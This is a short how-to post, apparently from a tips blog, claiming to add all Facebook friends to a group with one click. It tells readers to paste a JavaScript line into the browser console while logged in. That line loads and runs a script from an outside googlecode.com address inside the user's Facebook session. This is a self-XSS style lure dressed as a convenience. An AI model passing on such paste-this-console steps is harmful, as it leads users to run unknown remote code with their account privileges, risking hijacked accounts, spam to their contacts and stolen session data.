Add all Friends in Facebook Groups by Single Click.

In this trick which is related to Facebook, i have discuss about  invite all friends in event and pages. Now here is another one about Facebook groups. Facebook Groups are best place for discussion and talking with friends and many people at same time. But If have too many friends in profile and you find it difficult to add all friends one by one it is a wastage of time.

If you want to add your all friends in group by just single click then follow all steps carefully.

• Firstly open Mozilla Firefox
• Now Open your Facebook group in which you want to add your friends
• Then Click   Ctrl + Shift + K

Now  Paste...
document.body.appendChild(document.createElement('script')).src='http://group-invites.googlecode.com/files/group-invite.js';

Then press Enter
After then to hide box press again Ctrl + Shift + K

Just take a look on all steps how to do as shown below.